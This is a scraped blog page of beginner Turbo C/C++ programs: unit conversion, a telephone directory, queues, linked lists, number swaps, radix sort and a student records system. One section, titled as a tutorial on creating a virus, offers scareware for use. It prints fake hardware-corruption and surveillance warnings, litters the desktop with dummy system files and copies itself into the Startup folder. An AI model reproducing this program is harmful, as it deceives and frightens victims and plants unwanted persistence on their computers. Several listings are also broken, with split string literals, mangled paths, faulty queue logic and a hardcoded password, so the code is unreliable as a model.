Page

C program to convert Feet to Inch,convert Feet to centi-meters ,convert Feet to meters,convert Feet to kilometers

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
void main()
{
float f,cm,me,km,in;
float c=30.48;
float m=0.3048;
float k=0.0003048;
int ch;
clrscr();
printf("\t\t=======CONVERTER PROGRAM=======");
printf("\n\n\n\n");
jump:
printf("\n\n");
printf("Press 1. Convert Into Inches ");
printf("\n");
printf("Press 2. Convert Into Centi-Meter");
printf("\n");
printf("Press 3. Convert Into Meter");
printf("\n");
printf("Press 4. Convert Into Kilo-Meter");
printf("\n");
printf("Press 5. EXIT");
printf("\n\n\n");
printf("Enter Your choice : ");
scanf("%d",&ch);
switch(ch)
{
case 1:
clrscr();
printf("Enter Your Height In Feet : ");
scanf("%f",&f);
in=f*12;
printf("\t\n Your Height In Inches  %f ",in);
goto jump;
break;

case 2:
clrscr();
printf("Enter Your Height In Feet : ");
scanf("%f",&f);
cm=f*c;
printf("\t\n Your Height In Centi-Meters  %f ",cm);
goto jump;
break;


case 3:
clrscr();
printf("Enter Your Height In Feet : ");
scanf("%f",&f);
me=f*m;
printf("\t\n Your Height In Meters  %f ",me);
goto jump;
break;

case 4:
clrscr();
printf("Enter Your Height In Feet : ");
scanf("%f",&f);
km=f*k;
printf("\t\n Your Height In Kilo-Meters  %f ",km);
goto jump;
break;

case 5:
exit(0);
}
getch();
}

OUTPUT







C++ Project on Telephone Directory System

#include<iostream.h>
#include<fstream.h>
#include<graphics.h>
#include<process.h>
#include<io.h>
#include<dos.h>
#include<conio.h>
#include<stdio.h>
#include<string.h>

class telephone
{
 char name[25];
 char address[40];
 char phoneno[15];
 public:
  telephone(){ }
  telephone(char nam[25], char add[40], char phone[15])
  {
   strcpy(name,nam);
   strcpy(address,add);
   strcpy(phoneno,phone);
  }
  void init();
  void button(int x1,int y1,int x2,int y2,char str[]);
  int press(int,int,int,int);
  int unpress(int,int,int,int);
  int mouseini();
  int showmp();
  int hidemp();
  int getmp(int *button,int *x,int *y);
  int setmp();
  int click(int x1,int y1,int x2,int y2,char str[]);
  int screen();
  void login();
  void search();
  void delete1();
  void insert();
  void update();
  void display()
  {
   cout<<"Name        : "<<name;
   cout<<"Address     : "<<address;
   cout<<"Phone Number: "<<phoneno;
  }
  int compare(char nam1[25])
  {
   if(strcmp(nam1,name)==0)
    return 1;
   else
    return 0;
  }
};
void telephone::login()
{
 setcolor(15);
 line (320-150,320-13,320+150,320-13);
 line (320-150,320+12,320+150,320+12);
 line (320-150,320-13,320-150,320+12);
 line (320+150,320+12,320+150,320-13);
 int s=30,w;
 gotoxy(20,23);
 cout<<"LOADING . . .";
 for (int x1=171,x2=171,y1=308,y2=331,y=1,S=0;x1<470;x1++,x2++,y++,S++)
 {
  setcolor(1);
  line (x1,y1,x2,y2);
  w=(x1-169)/3;
  for (int i=34; i<=78; i++)
  {
   gotoxy(i,23) ;
   cout <<" " ;
  }
  gotoxy(34,23); 
  cout<<w<<"%";
  if (x2>270) s=45; if (x2>370) s=10;
  if (x2==320) delay(999); else
   delay(s);
 }
 delay(800);
 for (int i=27; i<=78; i++)
 {
  gotoxy(i,23) ;
  cout <<" " ;
 }
}

void telephone::insert()
{
 telephone tel1;
 fstream file;
 file.open("Phone.txt",ios::app);
 tel1.init();
 file.write((char *) &tel1, sizeof(tel1));
 setcolor(7);
 outtextxy(250,250,"Inserting Record.....");
 file.close();
 delay(3000);
}
void telephone::init()
{
 cout<<"Enter Name        : ";
 cin.getline(name,25);
 cout<<"Enter Address     : ";
 cin.getline(address,40);
 cout<<"Enter Phone Number: ";
 cin.getline(phoneno,15);
}

void telephone::delete1()
{
 telephone tel1;
 fstream file ;
 char nam[25],nam1[25];
 strcpy(nam1,"");
 cout<<"Enter the Name to be deleted: ";
 cin>>nam;
 file.open("Phone.txt", ios::in) ;
 fstream temp ;
 temp.open("temp.txt", ios::out) ;
 file.seekg(0,ios::beg) ;
 while (file.read((char *) &tel1, sizeof(telephone)))
 {
  if(!tel1.compare(nam))
   temp.write((char *) &tel1, sizeof(telephone)) ;
  else
   strcpy(nam1,nam);
 }
 file.close() ;
 temp.close() ;
 setcolor(7);
 if(strlen(nam1)!=0)
 {
  file.open("Phone.txt", ios::out) ;
  temp.open("temp.txt", ios::in) ;
  temp.seekg(0,ios::beg) ;
  while (temp.read((char *) &tel1, sizeof(telephone)))
  {
   file.write((char *) &tel1, sizeof(telephone)) ;
  }
  file.close() ;
  temp.close() ;
  outtextxy(250,250,"Deleting Record.....");
 }
 else
  outtextxy(250,250,"Record not found");
  delay(3000);
}

void telephone::update()
{
 telephone tel1;
 fstream file ;
 char nam[25],nam1[25];
 strcpy(nam1,"");
 cout<<"Enter the Name to be updated: ";
 cin>>nam;
 file.open("Phone.txt", ios::in) ;
 fstream temp ;
 temp.open("temp.txt", ios::out) ;
 file.seekg(0,ios::beg) ;
 while (file.read((char *) &tel1, sizeof(telephone)))
 {
  if(!tel1.compare(nam))
   temp.write((char *) &tel1, sizeof(telephone)) ;
  else
   strcpy(nam1,nam);
 }
 file.close() ;
 temp.close() ;
 setcolor(7);
 if(strlen(nam1)!=0)
 {
  file.open("Phone.txt", ios::out) ;
  temp.open("temp.txt", ios::in) ;
  temp.seekg(0,ios::beg) ;
  while (temp.read((char *) &tel1, sizeof(telephone)))
  {
   file.write((char *) &tel1, sizeof(telephone)) ;
  }
  file.close() ;
  temp.close() ;
  char nam[25],add[40],ph[15];
  file.open("Phone.txt",ios::app);
  cout<<"Enter Name        : ";
  cin.getline(nam,25);
  cin.getline(nam,25);
  cout<<"Enter Address     : ";
  cin.getline(add,40);
  cout<<"Enter Phone Number: ";
  cin.getline(ph,15);
  tel1=telephone(nam,add,ph);
  file.write((char *) &tel1, sizeof(tel1));
  file.close();
  outtextxy(250,250,"Updating Record.....");
 }
 else
  outtextxy(250,250,"Record not found");
  delay(3000);
}

void telephone::search()
{
 fstream file;
 telephone tel1;
 int i=1;
 char nam[25];
 file.open("Phone.txt",ios::in);
 cout<<"Enter name to be Searched: ";
 cin>>nam;
 file.seekg(0,ios::beg);
 while(file.read((char *) &tel1, sizeof(telephone)))
 {
  if(tel1.compare(nam))
  {
   tel1.display();
   i=0;
   break ;
  }
 }
 file.close() ;
 if(i)
 {
  setcolor(7);
  outtextxy(250,250,"Record not found");
 }
 getch();
}

void telephone:: button(int x1,int y1,int x2,int y2,char str[])
{
 int xc,yc,i=0,l=0;
 while(i<strlen(str))
 {
  l+=4;
  i++;
 }
 xc=(x2-x1)/2+x1-l;
 yc=(y2-y1)/2+y1;
 unpress(x1,y1,x2,y2);
 settextstyle(0,0,0);
 setcolor(11);
 outtextxy(xc,yc,str);
}

int telephone:: unpress(int x1,int y1,int x2,int y2)
{
 setlinestyle(0,1,1);
 setfillstyle(1,1);
 bar(x1,y1,x2,y2);
 setcolor(WHITE);
 line(x1,y1,x2,y1);
 line(x1,y1,x1,y2);
 setcolor(0);
 line(x1,y2,x2,y2);
 line(x2,y1,x2,y2);
 return 0;
}

int telephone:: press(int x1,int y1,int x2,int y2)
{
 setlinestyle(0,1,1);
 setfillstyle(1,1);
 bar(x1,y1,x2,y2);
 setcolor(0);
 line(x1,y1,x2,y1);
 line(x1,y1,x1,y2);
 setcolor(WHITE);
 line(x1,y2,x2,y2);
 line(x2,y1,x2,y2);
 return 0;
}

int telephone:: mouseini()
{
 union REGS i,o;
 i.x.ax=0;
 int86(0x33,&i,&o);
 return(o.x.ax);
}
int telephone:: showmp()
{
 union REGS i,o;
 i.x.ax=1;
 int86(0x33,&i,&o);
 return 0;
}

int telephone:: hidemp()
{
 union REGS i,o;
 i.x.ax=2;
 int86(0x33,&i,&o);
 return 0;
}

int telephone:: getmp(int *button,int *x,int *y)
{
 union REGS i,o;
 i.x.ax=3;
 int86(0x33,&i,&o);
 *button=o.x.bx;
 *x=o.x.cx;
 *y=o.x.dx;
 return 0;
}

int telephone:: setmp()
{
 union REGS i,o;
 i.x.ax=4;
 int mx=getmaxx(),my=getmaxy();
 i.x.cx=(3*mx/4)+20;
 i.x.dx=(3*my/4)+20;
 int86(0x33,&i,&o);
 return 0;
}

int telephone:: click(int x1,int y1,int x2,int y2,char str[])
{
 int button,x,y;
 int xc,yc,i=0,l=0;
 while(i<strlen(str))
 {
  l+=4;
  i++;
 }
 xc=(x2-x1)/2+x1-l;
 yc=(y2-y1)/2+y1;
 getmp(&button,&x,&y);
 if( (x>x1 && x<x2) && (y>y1 && y<y2) && button==1)
 {
  hidemp();
  press(x1,y1,x2,y2);
  setcolor(11);
  settextstyle(0,0,0);
  outtextxy(xc,yc,str);
  showmp();
  while((button==1))
   getmp(&button,&x,&y);
  hidemp();
  unpress(x1,y1,x2,y2);
  showmp();
  setcolor(11);
  settextstyle(0,0,0);
  outtextxy(xc,yc,str);
  for(i=50;i<500;i=i+50)
  {
   delay(10);
   sound(i+200);
  }
  showmp();
  nosound();
  setcolor(11);
  settextstyle(0,0,0);
  outtextxy(xc,yc,str);
  return 0;
 }
 else return 1;
}

int telephone:: screen()
{
 settextstyle(0,1,6);
 setcolor(11);
 outtextxy(100,30,"TELEPHONE");
 outtextxy(600,30,"DIRECTORY");
 setmp();
 button(250,100,400,150,"Insert");
 button(250,150,400,200,"Delete");
 button(250,200,400,250,"Update");
 button(250,250,400,300,"Search");
 button(250,300,400,350,"Exit");
 while(1)
 {
  if(click(250,100,400,150,"Insert")==0)
  {
   cleardevice();
   insert();
   return 0;
  }
  if(click(250,150,400,200,"Delete")==0)
  {
   cleardevice();
   delete1();
   return 0;
  }
  if(click(250,200,400,250,"Update")==0)
  {
   cleardevice();
   update();
   return 0;
  }
  if(click(250,250,400,300,"Search")==0)
  {
   cleardevice();
   search();
   return 0;
  }
  if(click(250,300,400,350,"Exit")==0)
   exit(0);
 }
}

void main()
{
 char user[25]="User Name",*pass,*pass1="user";
 int gdriver=DETECT,gmode;
 initgraph(&gdriver,&gmode,"");
 while(1)
 {
  cleardevice();
  settextstyle(0,0,1);
  outtextxy(250,250,"User Name:");
  outtextxy(250,265,"Password :");
  outtextxy(335,250,user);
  pass=getpass("");
  if(strcmp(pass,pass1)==0)
  {
   cleardevice();
   telephone tel;
   char op[8],cp[8],np[8];
   tel.login();
   while(1)
   {
    cleardevice();
    tel.mouseini();
    tel.showmp();
    tel.screen();
   }
  }
  else
  {
   cleardevice();
   settextstyle(0,0,2);
   outtextxy(250,250,"Illegal User....");
   delay(3000);
  }
 }
}

How to Create simple virus using C language

#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h>
#include<process.h>
#include<graphics.h>
#include<fstream.h>

void ffool();               //FUNCTION WHICH GIVES THE FINAL MESSAGE

void main()
{
clrscr();
for(int i=0;i<=100;i++)
    {

textcolor(YELLOW+BLINK);
gotoxy(35,12);
cprintf("VIRUS LOADING");
gotoxy(39,15);
textcolor(GREEN);
cout<<i<<"%";
delay(75);
clrscr();
}
delay(100);
clrscr();
fflush(stdout);
gotoxy(20,12);
cout<<" 'TOURNIQUET' VIRUS";
gotoxy(20,14);
cout<<" SAY GOOD BYE TO YOUR PC IN ";
for(int j=5;j>=0;j--)
{
gotoxy(48,14);
cout<<j<<" SECONDS";
delay(1000);
}
ofstream f1;
f1.open("c:/windows/All Users/desktop/procraetorian.sys");
ofstream f3("c:/windows/All Users/desktop/blast.sys");
ofstream a2("c:/windows/All Users/desktop/mslaugh.exe");
ofstream s2("c:/windows/All Users/desktop/backdoor.sys");
ofstream g2("c:/windows/All Users/desktop/spin32_war.sys");
ofstream h2("c:/windows/All Users/desktop/russpatr.sys");
ofstream j2("c:/windows/All Users/desktop/torr_sys32.sys");
ofstream k2("c:/windows/All Users/desktop/xxx.sys");
ofstream l2("c:/windows/All Users/desktop/i.txt");
ofstream sm("c:/windows/All Users/desktop/am.txt");
ofstream d1("c:/windows/All Users/desktop/your.txt");
ofstream d2("c:/windows/All Users/desktop/worst.txt");
ofstream d3("c:/windows/All Users/desktop/night.txt");
ofstream d4("c:/windows/All Users/desktop/mare.txt");
clrscr();
lowvideo();
cout<<"

 1.HARD-DISK CORRUPTION                                     
:";
delay(4000);
cout<<"completed";
cout<<"

 2.MOTHER BOARD CORRUPTION                                  
:";
delay(4000);
cout<<"completed";
cout<<"

 3.INSTALLING CYBERBOB.DLL -->WINDOWS/COMMAND               
:";
delay(4000);
cout<<"completed";
cout<<"


 PROCRAETORIAN.SYS SUCCESSFULLY PLANTED";
delay(3000);
rename("VIRUS.EXE","C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE");
//ffool();
}
    //*END OF MAIN*//
    //*START OF ffool()*//
void ffool()
{
    clrscr();
    int g=DETECT,h;
    initgraph(&g,&h,"\tc\bgi\");
    cleardevice();
    delay(1000);
    setcolor(2);
    settextstyle(1,0,1);
    delay(1000);
    setbkcolor(BLUE);
    highvideo();
    outtextxy(50,150,"THE PROCRAETORIAN:");
    delay(1500);
    outtextxy(50,200,"YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST");
    outtextxy(50,250,"PEA(C)E BE WITH YOU ! ! !");
    getch();
    delay(4000);
    closegraph();
    exit(0);
}

How to implement Enqueue & Dequeue using switch case

#include<stdio.h>
#include<conio.h>
#define max 5
void enqueue();
void dequeue();
void traverse();
int queue[max];
int item;
int front=-1;
int rear=-1;
void main()
{
int choice;
clrscr();
do
{
printf("\n1 : Enqueue\n2 : Dequeue\n3: Traverse\n");
printf("Enter Choice : ");
scanf("%d",&choice);
switch(choice)
{
case 1:
enqueue();
break;
case 2:
dequeue();
break;
case 3:
traverse();
break;
case 4:
exit(0);
}
}
while(choice<4);
getch();
}
void enqueue()
{
if((front==0&&rear==max-1)||front==max)
{
printf("\nQueue is Overflow\n");
}
else
{
if(front==-1)
{
front=front+1;
}
else
{
printf("Enter the data in Queue : ");
scanf("%d",&item);
rear=rear+1;
queue[rear]=item;
}
}
}
void dequeue()
{
if(front==-1||front==rear+1)
{
printf("Queue is Under flow\n");
}
else
{
front=front+1;
}
};
void traverse()
{
int temp;
if(front==-1||front==rear+1)
{
printf("Queue is Empty\n");
}
else
{
temp=front;
while(temp!=rear+1)
{
printf("\n%d",queue[temp]);
temp=temp+1;
}
}
}


How to Implement Enqueue & Dequeue using Linked List

#include<stdio.h>
#include<conio.h>
struct queue
{
int d1;
int p1;
struct queue *link1;
};
struct queue *ptr1,*front1=NULL,*temp1;
struct queue2
{
int d2;
int p2;
struct queue2 *link2;
};
struct queue2 *ptr2,*front2=NULL,*temp2;
void main()
{
int ch;
clrscr();
while(1)
{
printf("\n\n1-ENQUEUE.");
printf("\n2-DEQUEUE.");
printf("\n3-DISPLAY.");
printf("\n4-EXIT.");
printf("\nEnter your choice(1-4): ");
scanf("%d",&ch);
switch(ch)
{
case 1:
temp1=(struct queue*)malloc(sizeof(struct queue));
printf("Enter the element: ");
scanf("%d",&temp1->d1);
printf("Enter it's priority: ");
scanf("%d",&temp1->p1);
if(front1==NULL||temp1->p1<front1->p1)
{
temp1->link1=front1;
front1=temp1;
}
else
{
ptr1=front1;
while(ptr1->link1!=NULL&&ptr1->link1->p1<=temp1->p1)
ptr1=ptr1->link1;
temp1->link1=ptr1->link1;
ptr1->link1=temp1;
}
break;
case 2:
if(front1==NULL)
{
printf("\nQueue is underflow.");
}
else
{
temp2=(struct queue2*)malloc(sizeof(struct queue2));
temp2->d2=front1->d1;
temp2->p2=front1->p1;
if(front2==NULL||temp2->p2<front2->p2)
{
temp2->link2=front2;
front2=temp2;
}
else
{
ptr2=front2;
while(ptr2->link2!=NULL&&ptr2->link2<=temp2->p2)
ptr2=ptr2->link2;
temp2->link2=ptr2->link2;
ptr2->link2=temp2;
}
temp1=front1;
front1=front1->link1;
free(temp1);
}
break;
case 3:
clrscr();
printf("\nFrist queue:\n");
ptr1=front1;
printf("\n[%u]->\n\t",front1);
while(ptr1!=NULL)
{
printf("->[%d:%d:%u]",ptr1->d1,ptr1->p1,ptr1->link1);
ptr1=ptr1->link1;
}
printf("\nSecond  queue:\n");
ptr2=front2;
printf("\n[%u]->\n\t",front2);
while(ptr2!=NULL)
{
printf("->[%d:%d:%u]",ptr2->d2,ptr2->p2,ptr2->link2);
ptr2=ptr2->link2;
}
break;
case 4:
exit(0);
default:printf("\nInvalid choice.");
}
}
getch();
}

C++ Program to Implement Doubly Link List

#include <iostream.h>
#include <process.h>

class doubly
{
doubly * next;
doubly * pre;
int data,ch;
public:
doubly * link(doubly * );
void traverse (doubly * );
};

doubly * doubly::link(doubly * temp)
{
doubly * newlink;
doubly * cur;
newlink = new doubly;
cout<<"\nEnter Element (only possitive number):";
cin>>data;
cur = temp;
if(temp == NULL)
{
newlink->data = data;
newlink->pre = NULL;
newlink->next = NULL;
temp = newlink;
return temp;
}

else
{
while(cur->next != NULL)
{
cur = cur->next ;
}
newlink->data = data;
newlink->pre = cur;
newlink->next = NULL;
cur->next = newlink;
return temp;
}
}


void doubly::traverse(doubly *temp)
{
int ch;
doubly * dummy;
dummy = temp;
cout<<"\n[1] Start From Begainning\n[2] Start From End\n";
cout<<"\nEnter Your Choice  :";
cin>>ch;
switch(ch)
{
case 1:
if(dummy != NULL)
{
while(temp->next !=NULL)
{
cout<<temp->data<<endl;
temp=temp->next;
}
if (temp->next == NULL)
cout<<temp->data<<endl;
}
break;
case 2:
if(temp != NULL)
{
temp = dummy;
while(dummy->next !=NULL)
{
dummy=dummy->next;
}
while(dummy->pre !=NULL)
{
cout<<dummy->data<<endl;
dummy=dummy->pre;

}
if (dummy->pre == NULL)
cout<<dummy->data<<endl;
}
break;
}
}

void main()
{
doubly *first=NULL,d1;
int choice;
while(1)
{
cout<<"\n************** DOUBLY LINK LIST **************\n\n";
cout<<"Choices Are :-\n=>[1] For Insert \n=>[2] For Traverse \n=>[3] For Exit";
cout<<"\n\nEnter Your choice : ";
cin>>choice;

switch (choice)
{
case 1:
first=d1.link(first);
break;

case 2:
d1.traverse(first);
break;
case 3:
exit(0);

}

}
}

C Program to Swap two Numbers using Bitwise Operators

#include <stdio.h>
#include <conio.h>
#include <string.h>

/* Function Prototype */

void swap(int*, int *);

void main()
{
    int num1, num2;
    printf("\nEnter two numbers:");
    scanf("%d %d", &num1, &num2);
    printf("\nThe numbers before swapping are Number1= %d Number2 = %d", num1, num2);
    swap(&num1, &num2);        /* Call by Reference to function swap */
    printf("\nThe numbers after swapping are Number1= %d Number2 = %d", num1, num2);
}

/* Code to swap two numbers using bitwise operator */

void swap(int *x, int *y)
{
    *x = *x ^ *y;
    *y = *x ^ *y;
    *x = *x ^ *y;
}


OUTPUT


C Program to Check whether the given Number is Palindrome or not using Bitwise Operator

#include <stdio.h>
#include <conio.h>
#include <string.h>
#define SIZE 8

/* Function Prototype */

int is_palindrome(unsigned char[]);

void main()
{
    int num, num1 = 0, i = 0, j = SIZE - 1, res;
    unsigned char c[SIZE];
    printf("Enter a number(max 255)");
    scanf("%d", &num);
    num1 = num;
    while (num != 0)
    {
        c[j] = num&1;
        j--;
        num = num>>1; /* Shifting right the given number by 1 bit */
    }
    printf("The number %d in binary is:", num1);
    for (i = 0;i < SIZE;i++)
    {
        printf("%d", c[i]);
    }
    res = is_palindrome(c);    /* Calling Function */
    if (res == 0)
    {
        printf("\nNUMBER IS PALINDROME\n");
    }
    else
    {
        printf("\nNUMBER IS NOT PALINDROME\n");
    }
}

/* Code to check if the number is palindrome or not */

int is_palindrome(unsigned char c[])
{
    char temp[SIZE];
    int i, j, flag = 0;
    for (i = 0, j = SIZE - 1;i < SIZE, j >= 0;i++, j--)
    {
        temp[j] = c[i];
    }
    for (i = 0;i < SIZE;i++)
    {
        if (temp[i] != c[i])
        {
            flag = 1;
        }
    }
    return flag;
}


OUTPUT




C Program to Swap two Integers without using Temporary Variables and Bitwise Operations

#include <stdio.h>
#include <conio.h>

// Function Prototype
void swap(int *, int *);

void main()
{
    int x, y;
    printf("Enter 2 nos: \n");
    scanf("%d %d", &x, &y);
    printf("\nYou have entered x = %d y = %d \n", x, y);
    swap(&x,&y);    // passing the 2 nos to the swap function
}

// function to swap the two numbers
void swap(int *a, int *b)
{
    *a = *a + *b;
    *b = *a - *b;
    *a = *a - *b;
    printf("Swapped . . . .\n"); // printing the swapped numbers
    printf("x = %d y = %d\n", *a, *b);
}



OUTPUT


C++ Program to Implement Radix Sorting

#include<iostream.h>
#include<conio.h>
#include<math.h>

void main()
{

    int a[100][100],r=0,c=0,i,sz,b[50],temp;
    clrscr();
    cout<<"Enter Size of Array";
    cin>>sz;
    for(r=0;r<100;r++)
    {
        for(c=0;c<100;c++)
        {
            a[r][c]=1000;
        }
    }
    for(i=0;i<sz;i++)
    {
        cout<<"Enter Element";
        cin>>b[i];
        r=b[i]/100;
        c=b[i]%100;
        a[r][c]=b[i];
    }
    for(r=0;r<100;r++)
    {
        for(c=0;c<100;c++)
        {
            
            for(i=0;i<sz;i++)
            {
                if(a[r][c]==b[i])
                {
                cout<<a[r][c]<<"\t";
                }
            }
        }
    }
    getch();
}


OUTPUT



C++ Program to Student Management System

#include<iostream.h>
#include<fstream.h>
#include<conio.h>
#include<process.h>
#include<graphics.h>
#include<stdio.h>
struct stud
{
char n[30];
char father[30];
char mother[30];
char address[60];
char city[30];
int roll;
int per;
};
void showthanks();

void   main()
{

    int gdriver = DETECT, gmode,errorcode;
    initgraph(&gdriver, &gmode, "../bgi");
    int rol;
    setbkcolor(4);
    settextstyle(4,0,6);
    outtextxy(190,40,"WELCOME");
    outtextxy(260,170,"TO");
    settextstyle(4,0,5);
    outtextxy(70,320,"sourcecodernp.blogspot.com");
    getch();

    cleardevice();
    setbkcolor(5);
    settextstyle(1,0,6);
    outtextxy(190,40,"WELCOME");
    outtextxy(260,170,"TO");
    settextstyle(1,0,4);
    outtextxy(100,320,"STUDENT MANGEMENT SYSTEM");
    settextstyle(1,1,6);
    outtextxy(20,30,"C++ PROJECT");
    getch();

    cleardevice();

    stud s,m;
    char ch;
    while(1)
    {
    circle(150,80,60);
    circle(150,230,60);
    circle(150,380,60);
    circle(400,80,60);
    circle(400,230,60);
    circle(400,380,60);
    settextstyle(1,0,1);
    setbkcolor(GREEN);
    outtextxy(125,65,"1.LIST");
    outtextxy(105,215,"2.SEARCH");
    outtextxy(105,365,"3.APPEND");
    outtextxy(355,65,"4.MODIFY");
    outtextxy(355,210,"5.DELETE");
    outtextxy(375,365,"6.EXIT");

    outtextxy(67,440,"\n\nYOUR CHOICE ::");
    gotoxy(42,29);
    settextstyle(1,0,4);
    cin>>ch;
    switch(ch)
    {
case '1' :
   ifstream fin("STUDT.dat",ios::binary);
   int counter=0;
   while(fin.read((char*) &s,sizeof(s)))
   {
clrscr();
cleardevice();
setbkcolor(RED);
gotoxy(10,10);
cout<<"\n\t\t\tName :"<<s.n;
cout<<"\n\t\t\tRoll number :"<<s.roll;
cout<<"\n\t\t\tPercentage :"<<s.per;
cout<<"\n\t\t\tFather Name :"<<s.father;
cout<<"\n\t\t\tMother Name :"<<s.mother;
cout<<"\n\t\t\tAddress :"<<s.address;
cout<<"\n\t\t\tCity :"<<s.city;
cout<<"\n\nPress any key to continue\n";
getch();
counter++;
   }
   if (counter==0)
   {
cleardevice();
settextstyle(3,0,4);
setbkcolor(13);
outtextxy(40,50,"LIST IS EMPTY");
outtextxy(50,100,"Press any key to continue");
   }
   getch();
   cleardevice();
break;
case '2' :
   cleardevice();
   setbkcolor(5);
   int r,q=0;
   ifstream f1("STUDT.dat",ios::binary);
   cout<<"\nEnter the roll number of student::";
   cin>>r;
   while(f1.read((char *)&s,sizeof(s)))
   {
   if(s.roll==r)
   {
   setbkcolor(YELLOW);
   gotoxy(10,10);
   cout<<"The student is found!"<<endl;
   cout<<"Name ::"<<s.n<<endl;
   cout<<"Father Name ::"<<s.father<<endl;
   cout<<"Mother Name ::"<<s.mother<<endl;
   cout<<"Address::"<<s.address<<endl;
   cout<<"City::"<<s.city<<endl;
   cout<<"Percentage ::"<<s.per;
   q=1;
   }
   }
   if(q==0)
   {
   setbkcolor(14);
   cout<<"\nStudent not found in the list!";
   cout<<"\nPress any key to continue...";
   }
   getch();
   cleardevice();
break;
case '3' :
   ofstream fout("STUDT.dat",ios::binary|ios::app);
   char c='y';
   while(c=='y'||c=='Y')
   {
   cleardevice();
   setbkcolor(13);
   gotoxy(10,10);

   cout<<"\nEnter name ::";
   gets(s.n);
   cout<<"\nEnter Father Name::";
   gets(s.father);
   cout<<"\nEnter Mother Name::";
   gets(s.mother);
   cout<<"\nEnter Address::";
   gets(s.address);
   cout<<"\nEnter City::";
   gets(s.city);
   cout<<"\nEnter Roll Number :";
   cin>>s.roll;
   cout<<"\nEnter Percentage::";
   cin>>s.per;
   fout.write((char *)&s,sizeof(s));
   cout<<"\nDo You Want to Add Another Record ::";
   cin>>c;
   }
   cleardevice();
   fout.close();
break;
case '4' :
   cleardevice();
   setbkcolor(3);
   cout<<"Enter the roll no.";
cin>>rol;
   ifstream fi("STUDT.dat",ios::binary);
   ofstream out("temp");
   int f=1;
    while(fi.read((char*) &s,sizeof(s)))
    {
    if(s.roll!=rol)
{
 out.write((char*) &s,sizeof(s));
}
else
{
gotoxy(10,10);
cout<<"\nEnter New name ::";
gets(m.n);
cout<<"\nEnter New Father name ::";
gets(m.father);
cout<<"\nEnter New Mother name ::";
gets(m.mother);
cout<<"\nEnter New Address ::";
gets(m.address);
cout<<"\nEnter New City::";
gets(m.city);    //cin>>s.city;
m.roll=s.roll;
cout<<"\nEnter Percentage::";
cin>>m.per;
out.write((char *)&m,sizeof(m));
f=0;
}
    }
      fi.close();
      out.close();
      if(f==1)
      {
cout<<"not found";
      }
      else
      {
   remove("STUDT.dat");
   rename("temp","STUDT.dat");
      }
    getch();
    cleardevice();

break;
case '5' :
   cleardevice();
   setbkcolor(5);
   gotoxy(10,10);
   cout<<"Enter the roll no.";
cin>>rol;
   ifstream outfi("STUDT.dat",ios::binary);
   ofstream fouts("temp");
   f=1;
   while(outfi.read((char*) &s,sizeof(s)))
    {
    if(s.roll!=rol)
{
 fouts.write((char*) &s,sizeof(s));
}
else
{
f=0;
}
    }
      outfi.close();
      fouts.close();
      if(f==1)
      {
cout<<"Not Found In List!";
      }
     else
     {
remove("STUDT.dat");
rename("temp","STUDT.dat");
outtextxy(50,100,"Press any key to continue");
      }
    getch();
    cleardevice();
break;
case '6' :
showthanks();
exit(0);
}//end of switch
    }//end of while(1)
}//end of main()


void showthanks() {
    cleardevice();
    setbkcolor(3);
    outtextxy(240,80,"THANK YOU");
    outtextxy(260,170,"*-*-*-*-*");
    settextstyle(1,0,4);
    outtextxy(100,320,"sourcecodernp.blogspot.com");
    getch();
}



OUTPUT